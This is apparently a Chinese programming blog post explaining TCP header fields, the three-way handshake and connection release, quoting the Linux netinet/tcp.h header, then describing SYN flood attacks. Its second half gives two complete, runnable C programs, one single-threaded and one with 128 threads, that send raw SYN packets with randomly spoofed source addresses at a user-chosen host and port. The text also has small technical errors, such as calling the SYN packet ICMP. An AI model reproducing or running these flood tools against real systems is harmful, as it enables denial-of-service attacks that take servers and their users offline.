Linux网络编程---TCP三次握手,SYN洪水攻击,

一、建立TCP连接需要三次握手才能建立,在认识TCP三次握手前,我们先来看看TCP报文首部结构:


源端口和目的端口字段各占2字节。端口是传输层与应用层的服务接口。传输层的复用和分用功能都要通过端口才能实现

序号字段4字节。TCP连接中传送的数据流中的每一个字节都编上一个序号。序号字段的值则指的是本报文段所发送的数据的第一个字节的序号。 

确认号字段(ack)4字节,是期望收到对方的下一个报文段的数据的第一个字节的序号。 

若确认号=N,则表明:到序号N– 1为止的所有数据都已正确收到。
B正确收到了A发送过来的一个报文段,其序号字段值是501,而数据长度是200字节(序号501 ~ 700),这表明B正确收到了
发送的到序号700为止的数据。因此,B期望收到A的下一个数据序号是701,于是B在发送给A的确认报文段中把确认号置为701
请注意,现在的确认号不是501,也不是700,而是701。  

数据偏移(即首部长度)4位,它指出TCP报文段的数据起始处距离TCP报文段的起始处有多远。“数据偏移”的单位是32位字(以4字节为计算单位)。  

保留字段6位,保留为今后使用,但目前应置为0。 

紧急 URG:URG= 1 时,表明紧急指针字段有效。它告诉系统此报文段中有紧急数据,应尽快传送(相当于高优先级的数据) 

确认 ACK: 只有当ACK= 1 时确认号字段才有效。当 ACK= 0时,确认号无效。 

推送 PSH(PuSH): 接收TCP收到PSH= 1 的报文段,就尽快地交付接收应用进程,而不再等到整个缓存都填满了后再向上交付。  

复位 RST(ReSeT): RST= 1 时,表明 TCP连接中出现严重差错(如由于主机崩溃或其他原因),必须释放连接,然后再重新建立运输连接。 

同步 SYN:同步SYN= 1表示这是一个连接请求或连接接受报文。 

终止 FIN(FINis): 用来释放一个连接。FIN= 1 表明此报文段的发送端的数据已发送完毕,并要求释放运输连接。 

窗口字段—— 占 2 字节,用来让对方设置发送窗口的依据,单位为字节

紧急指针字段 : 16位,指出在本报文段中紧急数据共有多少个字节(紧急数据放在本报文段数据的最前面)。 

选项字段 :长度可变。TCP最初只规定了一种选项,即最大报文段长度MSSMSS告诉对方TCP:“我的缓存所能接收的报文段的数据字段的最大长度是MSS个字节。” 

MSS(MaximumSegment Size)是TCP 报文段中的数据字段的最大长度。数据字段加上TCP 首部才等于整个的TCP 报文段。

填充字段 ——这是为了使整个首部长度是4字节的整数倍。 


二、说了TCP报文首部的结构,下面来谈谈 三次握手的过程:

(1)



ATCPB发出连接请求报文段,其首部中的同步位SYN= 1,并选择序号seq =x,表明传送数据时的第一个数据字节的序号是x



(2)


BTCP收到连接请求报文段后,如同意,则发回确认。
B在确认报文段中应使SYN= 1,使ACK= 1其确认号ack =x+1,自己选择的序号seq = y.


(3)


A 收到此报文段后向B给出确认,其ACK= 1确认号ack =y+1
A TCP通知上层应用进程,连接已经建立。   


接下来:


B TCP收到主机A的确认后,也通知其上层应用进程:TCP连接已经建立。 以后就可以传送数据了。

至此TCP三次握手就成功的完成啦。


TCP连接的释放

(1)



  数据传输结束后,通信的双方都可释放连接。 现在A的应用进程先向其TCP发出连接释放报文段,并停止再发送数据,主动关闭TCP连接。
  A把连接释放报文段首部的FIN = 1,其序号seq =u,等待B的确认。

(2)


• B发出确认,确认号ack=u+ 1而这个报文段自己的序号seq =v
 TCP服务器进程通知高层应用进程。
 从 AB这个方向的连接就释放了,TCP连接处于半关闭状态。B若发送数据,A仍要接收

(3)

  若 B 已经没有要向 A 发送的数据, 其应用进程就通知 TCP释放连接。 

(4)

 AB发送确认后,TCP连接进入关闭状态.至此TCP释放完成。



、SYN洪水攻击

(1)SYN洪水攻击也称为拒绝服务攻击,它利用了TCP的三次握手,利用大量的TCP连接请求造成目标机的资源耗尽,而不能提供正常的服务或者服务质量下降。

(2)SYN洪水攻击原理:

一般情况下的TCP连接函数connect(),经历了三次握手,如果从IP层协议来看,客户端先发送SYN请求,服务器对客户端的SYN进行响应,而客服端对服务器的响应再次进行确认后才建立了一个TCP的连接,在服务器发送响应后,要等待一段时间才能获得客户端的确认,即第二次和第三次握手之间有一个超时时间,SYN攻击就是利用了这个时机。

SYN攻击利用第二次握手的手段如下:

(1)主机A发送ICMP的SYN请求给主机B,主机A发送的报文的源IP地址是一个伪造的IP,主机B的第二次握手之后要等待一段时间,接收主机A的确认包,在超时时间内此资源一直在占用,如果主机B的处理TCP三次握手的资源不能满足处理主机A的SYN请求数量,则主机B的可用资源就会慢慢减少,知道耗尽。

(2)主机A发送的报文是原始报文,发送报文的速度可以达到很高,因此有足够的资源能对目标机造成影响。


Linux系统中的TCP报文头文件:

#ifndef _NETINET_TCP_H
#define _NETINET_TCP_H	1

#include <features.h>

/*
 * User-settable options (used with setsockopt).
 */
#define	TCP_NODELAY		 1  /* Don't delay send to coalesce packets  */
#define	TCP_MAXSEG		 2  /* Set maximum segment size  */
#define TCP_CORK		 3  /* Control sending of partial frames  */
#define TCP_KEEPIDLE		 4  /* Start keeplives after this period */
#define TCP_KEEPINTVL		 5  /* Interval between keepalives */
#define TCP_KEEPCNT		 6  /* Number of keepalives before death */
#define TCP_SYNCNT		 7  /* Number of SYN retransmits */
#define TCP_LINGER2		 8  /* Life time of orphaned FIN-WAIT-2 state */
#define TCP_DEFER_ACCEPT	 9  /* Wake up listener only when data arrive */
#define TCP_WINDOW_CLAMP	 10 /* Bound advertised window */
#define TCP_INFO		 11 /* Information about this connection. */
#define	TCP_QUICKACK		 12 /* Bock/reenable quick ACKs.  */
#define TCP_CONGESTION		 13 /* Congestion control algorithm.  */
#define TCP_MD5SIG		 14 /* TCP MD5 Signature (RFC2385) */
#define TCP_COOKIE_TRANSACTIONS	 15 /* TCP Cookie Transactions */
#define TCP_THIN_LINEAR_TIMEOUTS 16 /* Use linear timeouts for thin streams*/
#define TCP_THIN_DUPACK		 17 /* Fast retrans. after 1 dupack */
#define TCP_USER_TIMEOUT	 18 /* How long for loss retry before timeout */
#define TCP_REPAIR		 19 /* TCP sock is under repair right now */
#define TCP_REPAIR_QUEUE	 20 /* Set TCP queue to repair */
#define TCP_QUEUE_SEQ		 21 /* Set sequence number of repaired queue. */
#define TCP_REPAIR_OPTIONS	 22 /* Repair TCP connection options */
#define TCP_FASTOPEN		 23 /* Enable FastOpen on listeners */
#define TCP_TIMESTAMP		 24 /* TCP time stamp */

#ifdef __USE_MISC
# include <sys/types.h>
# include <sys/socket.h>

typedef	u_int32_t tcp_seq;
/*
 * TCP header.
 * Per RFC 793, September, 1981.
 */
struct tcphdr
  {
    __extension__ union
    {
      struct
      {
	u_int16_t th_sport;		/* source port */
	u_int16_t th_dport;		/* destination port */
	tcp_seq th_seq;		/* sequence number */
	tcp_seq th_ack;		/* acknowledgement number */
# if __BYTE_ORDER == __LITTLE_ENDIAN
	u_int8_t th_x2:4;		/* (unused) */
	u_int8_t th_off:4;		/* data offset */
# endif
# if __BYTE_ORDER == __BIG_ENDIAN
	u_int8_t th_off:4;		/* data offset */
	u_int8_t th_x2:4;		/* (unused) */
# endif
	u_int8_t th_flags;
# define TH_FIN	0x01
# define TH_SYN	0x02
# define TH_RST	0x04
# define TH_PUSH	0x08
# define TH_ACK	0x10
# define TH_URG	0x20
	u_int16_t th_win;		/* window */
	u_int16_t th_sum;		/* checksum */
	u_int16_t th_urp;		/* urgent pointer */
      };
      struct
      {
	u_int16_t source;
	u_int16_t dest;
	u_int32_t seq;
	u_int32_t ack_seq;
# if __BYTE_ORDER == __LITTLE_ENDIAN
	u_int16_t res1:4;
	u_int16_t doff:4;
	u_int16_t fin:1;
	u_int16_t syn:1;
	u_int16_t rst:1;
	u_int16_t psh:1;
	u_int16_t ack:1;
	u_int16_t urg:1;
	u_int16_t res2:2;
# elif __BYTE_ORDER == __BIG_ENDIAN
	u_int16_t doff:4;
	u_int16_t res1:4;
	u_int16_t res2:2;
	u_int16_t urg:1;
	u_int16_t ack:1;
	u_int16_t psh:1;
	u_int16_t rst:1;
	u_int16_t syn:1;
	u_int16_t fin:1;
# else
#  error "Adjust your <bits/endian.h> defines"
# endif
	u_int16_t window;
	u_int16_t check;
	u_int16_t urg_ptr;
      };
    };
};

enum
{
  TCP_ESTABLISHED = 1,
  TCP_SYN_SENT,
  TCP_SYN_RECV,
  TCP_FIN_WAIT1,
  TCP_FIN_WAIT2,
  TCP_TIME_WAIT,
  TCP_CLOSE,
  TCP_CLOSE_WAIT,
  TCP_LAST_ACK,
  TCP_LISTEN,
  TCP_CLOSING   /* now a valid state */
};

# define TCPOPT_EOL		0
# define TCPOPT_NOP		1
# define TCPOPT_MAXSEG		2
# define TCPOLEN_MAXSEG		4
# define TCPOPT_WINDOW		3
# define TCPOLEN_WINDOW		3
# define TCPOPT_SACK_PERMITTED	4		/* Experimental */
# define TCPOLEN_SACK_PERMITTED	2
# define TCPOPT_SACK		5		/* Experimental */
# define TCPOPT_TIMESTAMP	8
# define TCPOLEN_TIMESTAMP	10
# define TCPOLEN_TSTAMP_APPA	(TCPOLEN_TIMESTAMP+2) /* appendix A */

# define TCPOPT_TSTAMP_HDR	\
    (TCPOPT_NOP<<24|TCPOPT_NOP<<16|TCPOPT_TIMESTAMP<<8|TCPOLEN_TIMESTAMP)

/*
 * Default maximum segment size for TCP.
 * With an IP MSS of 576, this is 536,
 * but 512 is probably more convenient.
 * This should be defined as MIN(512, IP_MSS - sizeof (struct tcpiphdr)).
 */
# define TCP_MSS	512

# define TCP_MAXWIN	65535	/* largest value for (unscaled) window */

# define TCP_MAX_WINSHIFT	14	/* maximum window shift */

# define SOL_TCP		6	/* TCP level */


# define TCPI_OPT_TIMESTAMPS	1
# define TCPI_OPT_SACK		2
# define TCPI_OPT_WSCALE	4
# define TCPI_OPT_ECN		8  /* ECN was negociated at TCP session init */
# define TCPI_OPT_ECN_SEEN	16 /* we received at least one packet with ECT */
# define TCPI_OPT_SYN_DATA	32 /* SYN-ACK acked data in SYN sent or rcvd */

/* Values for tcpi_state.  */
enum tcp_ca_state
{
  TCP_CA_Open = 0,
  TCP_CA_Disorder = 1,
  TCP_CA_CWR = 2,
  TCP_CA_Recovery = 3,
  TCP_CA_Loss = 4
};

struct tcp_info
{
  u_int8_t	tcpi_state;
  u_int8_t	tcpi_ca_state;
  u_int8_t	tcpi_retransmits;
  u_int8_t	tcpi_probes;
  u_int8_t	tcpi_backoff;
  u_int8_t	tcpi_options;
  u_int8_t	tcpi_snd_wscale : 4, tcpi_rcv_wscale : 4;

  u_int32_t	tcpi_rto;
  u_int32_t	tcpi_ato;
  u_int32_t	tcpi_snd_mss;
  u_int32_t	tcpi_rcv_mss;

  u_int32_t	tcpi_unacked;
  u_int32_t	tcpi_sacked;
  u_int32_t	tcpi_lost;
  u_int32_t	tcpi_retrans;
  u_int32_t	tcpi_fackets;

  /* Times. */
  u_int32_t	tcpi_last_data_sent;
  u_int32_t	tcpi_last_ack_sent;	/* Not remembered, sorry.  */
  u_int32_t	tcpi_last_data_recv;
  u_int32_t	tcpi_last_ack_recv;

  /* Metrics. */
  u_int32_t	tcpi_pmtu;
  u_int32_t	tcpi_rcv_ssthresh;
  u_int32_t	tcpi_rtt;
  u_int32_t	tcpi_rttvar;
  u_int32_t	tcpi_snd_ssthresh;
  u_int32_t	tcpi_snd_cwnd;
  u_int32_t	tcpi_advmss;
  u_int32_t	tcpi_reordering;

  u_int32_t	tcpi_rcv_rtt;
  u_int32_t	tcpi_rcv_space;

  u_int32_t	tcpi_total_retrans;
};


/* For TCP_MD5SIG socket option.  */
#define TCP_MD5SIG_MAXKEYLEN	80

struct tcp_md5sig
{
  struct sockaddr_storage tcpm_addr;		/* Address associated.  */
  u_int16_t	__tcpm_pad1;			/* Zero.  */
  u_int16_t	tcpm_keylen;			/* Key length.  */
  u_int32_t	__tcpm_pad2;			/* Zero.  */
  u_int8_t	tcpm_key[TCP_MD5SIG_MAXKEYLEN];	/* Key (binary).  */
};

/* For socket repair options.  */
struct tcp_repair_opt
{
  u_int32_t	opt_code;
  u_int32_t	opt_val;
};

/* Queue to repair, for TCP_REPAIR_QUEUE.  */
enum
{
  TCP_NO_QUEUE,
  TCP_RECV_QUEUE,
  TCP_SEND_QUEUE,
  TCP_QUEUES_NR,
};

/* For cookie transactions socket options.  */
#define TCP_COOKIE_MIN		8		/*  64-bits */
#define TCP_COOKIE_MAX		16		/* 128-bits */
#define TCP_COOKIE_PAIR_SIZE	(2*TCP_COOKIE_MAX)

/* Flags for both getsockopt and setsockopt */
#define TCP_COOKIE_IN_ALWAYS	(1 << 0)	/* Discard SYN without cookie */
#define TCP_COOKIE_OUT_NEVER	(1 << 1)	/* Prohibit outgoing cookies,
						 * supercedes everything. */

/* Flags for getsockopt */
#define TCP_S_DATA_IN		(1 << 2)	/* Was data received? */
#define TCP_S_DATA_OUT		(1 << 3)	/* Was data sent? */

#define TCP_MSS_DEFAULT		 536U	/* IPv4 (RFC1122, RFC2581) */
#define TCP_MSS_DESIRED		1220U	/* IPv6 (tunneled), EDNS0 (RFC3226) */

struct tcp_cookie_transactions
{
  u_int16_t	tcpct_flags;
  u_int8_t	__tcpct_pad1;
  u_int8_t	tcpct_cookie_desired;
  u_int16_t	tcpct_s_data_desired;
  u_int16_t	tcpct_used;
  u_int8_t	tcpct_value[TCP_MSS_DEFAULT];
};

#endif /* Misc.  */

#endif /* netinet/tcp.h */

SYN洪水攻击的例子:

//syn攻击
//用法 ./syn hostname destport sourport
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <signal.h>
#include <netinet/tcp.h>
//攻击函数
void attack(int skfd,struct sockaddr_in *target,unsigned short srcport);
//校验和
unsigned short checksum(unsigned char *addr,int len);

//退出信号处理函数
void signal(int sig)
{
    printf("终止syn攻击\n");
    exit(1);
}
int main(int argc,char** argv)
{
    int skfd,port;
    struct sockaddr_in target;
    struct hostent *host;
    const int on=1;
    unsigned short srcport;
    bzero(&target,sizeof(struct sockaddr_in));
    target.sin_family=AF_INET;
    port=atoi(argv[2]);
    if (port<0)
    {
        perror("port error");
        exit(1);
    }
    target.sin_port=htons(port);
    
    if(inet_aton(argv[1],&target.sin_addr)==0)
    {
        host=gethostbyname(argv[1]);
        if(host==NULL)
        {
            printf("TargetName Error:%s\n",hstrerror(h_errno));
            exit(1);
        }
        target.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
        
    }
    //将协议字段置为IPPROTO_TCP,来创建一个TCP的原始套接字
    if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){
        perror("Create Error");
        exit(1);
    }
    
    //开启IP_HDRINCL特性,我们自己手动构造IP报文
    if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){
        perror("IP_HDRINCL failed");
        exit(1);
    }
    
    //只有root用户才可以使用原始套接字
    //setuid(getpid());
    
    //源端口
    srcport = atoi(argv[3]);
   // printf("%s\n",argv[3]);
    
    signal(SIGINT, signal);
    attack(skfd,&target,srcport);
}

//在该函数中构造整个IP报文,最后调用sendto函数将报文发送出去
void attack(int skfd,struct sockaddr_in *target,unsigned short srcport)
{
    char buf[128]={0};
    struct ip *ip;
    struct tcphdr *tcp;
    int ip_len;
    //在我们TCP的报文中Data没有字段,所以整个IP报文的长度
    ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
    //开始填充IP首部
    ip=(struct ip*)buf;
    //IP的版本
    ip->ip_v = IPVERSION;
    //IP都不长度,字节数
    ip->ip_hl = sizeof(struct ip)>>2;
    //服务类型
    ip->ip_tos = 0;
    //ip报文总长度
    ip->ip_len = htons(ip_len);
    //标志
    ip->ip_id=0;
    //段的偏移地址
    ip->ip_off=0;
    //最大的生存时间
    ip->ip_ttl=MAXTTL;
    //协议类型
    ip->ip_p=IPPROTO_TCP;
    
    //校验和,先填0
    ip->ip_sum=0;
    //发送的目标地址
    ip->ip_dst=target->sin_addr;
    
    //开始填充TCP首部
    tcp = (struct tcphdr*)(buf+sizeof(struct ip));
    tcp->th_sport  = htons(srcport);
    tcp->th_dport = target->sin_port;
    tcp->th_seq = random();
    tcp->th_off = 5;
    tcp->th_flags=TH_SYN;
    tcp->th_sum = 0;
    tcp->th_win=65535;
    while(1)
    {
        //源地址伪造
        ip->ip_src.s_addr =random();
        tcp->th_sum=checksum((unsigned char*)tcp,sizeof(struct tcphdr)); //校验和
        sendto(skfd,buf,ip_len,0,(struct sockaddr*)target,sizeof(struct sockaddr_in));
    }
}

//关于CRC校验和的计算
unsigned short checksum(unsigned char *buf,int len)
{
    unsigned int sum=0;
    unsigned short *cbuf;
    
    cbuf=(unsigned short *)buf;
    
    while(len>1)
    {
        sum+=*cbuf++;
        len-=2; //剩余尚未累加的16比特的个数
    }
    
    if(len) //若len的长度不是偶数
        sum+=*(unsigned char *)cbuf; //用最后一个字节补齐
    
    //防溢出处理
    sum=(sum>>16)+(sum & 0xffff);
    sum+=(sum>>16);
    return ~sum;
}

抓包结果:



当然也可以用我们前面的TCP服务器进行测试:

服务器端:


SYN测试:



端口检测:



服务器端收到我们的SYN报文后,会为其分配一条连接资源,并将该连接的状态置为SYN_RECV,然后给客户端回送一个确认,并要求客户端再次确认,但是却一直收不到回复,直到超时才回收资源,这样持续下去将消耗目标机的资源。


多线程代码:

//syn攻击
//用法 ./syn hostname destport
#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include <pthread.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <syslog.h>
#include <arpa/inet.h>
#include <setjmp.h>
#include <errno.h>
#include <netinet/tcp.h>

//最多线程数
#define MAXCHILD 128
struct sockaddr_in target;
int skfd,alive=1;

//攻击函数
void attack();
//校验和
unsigned short checksum(unsigned char *addr,int len);
void *DoS_fun (void * args)
{
    while(alive)
    {
        attack();
        break;
    }
    return NULL;
}
//信号处理函数,设置退出变量alive
void DoS_sig(int signo)
{
    alive = 0;
}
int main(int argc,char** argv)
{
    int port;
    struct hostent *host;
    const int on=1;
    pthread_t pthread[MAXCHILD]; //线程标志数组
    bzero(&target,sizeof(struct sockaddr_in));
    target.sin_family=AF_INET;
    port=atoi(argv[2]);
    if (port<0)
    {
        perror("port error");
        exit(1);
    }
    target.sin_port=htons(port);
    
    if(inet_aton(argv[1],&target.sin_addr)==0)
    {
        host=gethostbyname(argv[1]);
        if(host==NULL)
        {
            printf("TargetName Error:%s\n",hstrerror(h_errno));
            exit(1);
        }
        target.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
        
    }
    //将协议字段置为IPPROTO_TCP,来创建一个TCP的原始套接字
    if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){
        perror("Create Error");
        exit(1);
    }
    //开启IP_HDRINCL特性,我们自己手动构造IP报文
    if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)))
    {
        perror("IP_HDRINCL failed");
        exit(1);
    }
    
    //只有root用户才可以使用原始套接字
    //setuid(getpid());
    
    
    signal(SIGINT, DoS_sig);
    for(int i=0; i<MAXCHILD; i++)
    {
        pthread_create(&pthread[i], NULL, DoS_fun, NULL);
    }
    //等待线程结束
    for(int i=0; i<MAXCHILD; i++)
        pthread_join(pthread[i], NULL);
    close(skfd);
}

//在该函数中构造整个IP报文,最后调用sendto函数将报文发送出去
void attack()
{
    char buf[128]={0};
    struct ip *ip;
    struct tcphdr *tcp;
    int ip_len;
    //在我们TCP的报文中Data没有字段,所以整个IP报文的长度
    ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
    //开始填充IP首部
    ip=(struct ip*)buf;
    //IP的版本
    ip->ip_v = IPVERSION;
    //IP都不长度,字节数
    ip->ip_hl = sizeof(struct ip)>>2;
    //服务类型
    ip->ip_tos = 0;
    //ip报文总长度
    ip->ip_len = htons(ip_len);
    //标志
    ip->ip_id=0;
    //段的偏移地址
    ip->ip_off=0;
    //最大的生存时间
    ip->ip_ttl=MAXTTL;
    //协议类型
    ip->ip_p=IPPROTO_TCP;
    
    //校验和,先填0
    ip->ip_sum=0;
    //发送的目标地址
    ip->ip_dst=target.sin_addr;
    
    //开始填充TCP首部
    tcp = (struct tcphdr*)(buf+sizeof(struct ip));
    tcp->th_sport  = random();
    tcp->th_dport = target.sin_port;
    tcp->th_seq = random();
    tcp->th_off = 5;
    tcp->th_flags=TH_SYN;
    tcp->th_sum = 0;
    tcp->th_win=65535;
    
    //源地址伪造
    ip->ip_src.s_addr =random();
    tcp->th_sum=checksum((unsigned char*)tcp,sizeof(struct tcphdr)); //校验和
    sendto(skfd,buf,ip_len,0,(struct sockaddr*)&target,sizeof(struct sockaddr_in));
    
}

//关于CRC校验和的计算
unsigned short checksum(unsigned char *buf,int len)
{
    unsigned int sum=0;
    unsigned short *cbuf;
    cbuf=(unsigned short *)buf;
    
    while(len>1)
    {
        sum+=*cbuf++;
        len-=2; //剩余尚未累加的16比特的个数
    }
    
    if(len) //若len的长度不是偶数
        sum+=*(unsigned char *)cbuf; //用最后一个字节补齐
    
    //防溢出处理
    sum=(sum>>16)+(sum & 0xffff);
    sum+=(sum>>16);
    return ~sum;
}





  • 0
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值